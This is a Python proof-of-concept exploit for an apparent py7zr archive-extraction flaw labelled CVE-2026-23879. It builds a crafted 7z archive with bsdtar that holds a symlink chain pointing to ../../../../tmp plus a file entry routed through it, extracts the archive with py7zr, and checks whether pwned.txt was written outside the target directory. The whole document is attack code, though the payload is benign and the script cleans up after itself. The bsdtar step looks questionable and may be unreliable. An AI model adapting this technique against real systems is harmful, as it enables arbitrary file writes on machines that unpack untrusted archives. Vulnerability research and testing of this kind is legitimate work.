Payload

import os
import shutil
import subprocess
import py7zr
import sys

# --- Configuration ---
BUILD_DIR = "poc_build"
ARCHIVE_NAME = "malicious_cve_2026_23879.7z"
EXTRACT_DIR = "poc_extract"
PAYLOAD_FILENAME = "pwned.txt"
PAYLOAD_CONTENT = b"This file was written outside the target directory."
SYMLINK_CHAIN_A = "link_a"
SYMLINK_CHAIN_B = "link_b"
TRAVERSAL_PATH = "../../../../../../../../tmp"
REMOTE_FILE_PATH = f"{SYMLINK_CHAIN_A}/{PAYLOAD_FILENAME}"
FINAL_PAYLOAD_LOCATION = f"/tmp/{PAYLOAD_FILENAME}"

def cleanup():
    """Removes all artifacts created by the script."""
    if os.path.lexists(FINAL_PAYLOAD_LOCATION):
        os.remove(FINAL_PAYLOAD_LOCATION)
    if os.path.exists(ARCHIVE_NAME):
        os.remove(ARCHIVE_NAME)
    if os.path.isdir(BUILD_DIR):
        shutil.rmtree(BUILD_DIR)
    if os.path.isdir(EXTRACT_DIR):
        shutil.rmtree(EXTRACT_DIR)

# Ensure a clean state before starting
cleanup()

try:
    # 1. Create the necessary file/link structure for building the archive
    os.makedirs(BUILD_DIR, exist_ok=True)
    
    # Create the symbolic link chain on the filesystem
    os.symlink(SYMLINK_CHAIN_B, os.path.join(BUILD_DIR, SYMLINK_CHAIN_A))
    os.symlink(TRAVERSAL_PATH, os.path.join(BUILD_DIR, SYMLINK_CHAIN_B))
    
    # Create a source file for the payload content
    with open(os.path.join(BUILD_DIR, "payload_source.txt"), "wb") as f:
        f.write(PAYLOAD_CONTENT)

    # 2. Use 'bsdtar' to create a crafted 7zip archive.
    # 'py7zr' itself may not be able to create this malicious structure.
    # This command creates an archive containing:
    #   a) The symlink chain (link_a -> link_b -> ../.../tmp)
    #   b) A new file entry whose path uses the symlink ('link_a/pwned.txt'),
    #      but whose content is sourced from a local temporary file.
    cmd = [
        "bsdtar",
        "-C", BUILD_DIR,
        "-s", f"|{REMOTE_FILE_PATH}|payload_source.txt|",
        "--format", "7zip",
        "-cf", ARCHIVE_NAME,
        SYMLINK_CHAIN_A,
        SYMLINK_CHAIN_B,
        "@payload_source.txt"
    ]
    
    proc = subprocess.run(cmd, check=False, capture_output=True, text=True)
    if proc.returncode != 0:
        sys.stderr.write(f"Error: Failed to create archive with 'bsdtar'. Is it installed and in your PATH?\n")
        sys.stderr.write(f"bsdtar stderr: {proc.stderr}\n")
        sys.exit(1)

    # 3. Simulate a victim extracting the malicious archive
    os.makedirs(EXTRACT_DIR, exist_ok=True)
    with py7zr.SevenZipFile(ARCHIVE_NAME, 'r') as archive:
        # The vulnerable 'extractall' will follow the symlinks out of the destination
        archive.extractall(path=EXTRACT_DIR)

    # 4. Verify if the arbitrary file write was successful
    if os.path.exists(FINAL_PAYLOAD_LOCATION):
        print(f"SUCCESS: Exploit successful. Payload written to: {FINAL_PAYLOAD_LOCATION}")
        with open(FINAL_PAYLOAD_LOCATION, 'r') as f:
            print(f"File content: '{f.read()}'")
    else:
        print(f"FAILURE: Exploit failed. File not found at {FINAL_PAYLOAD_LOCATION}.")

finally:
    # 5. Clean up all created artifacts
    cleanup()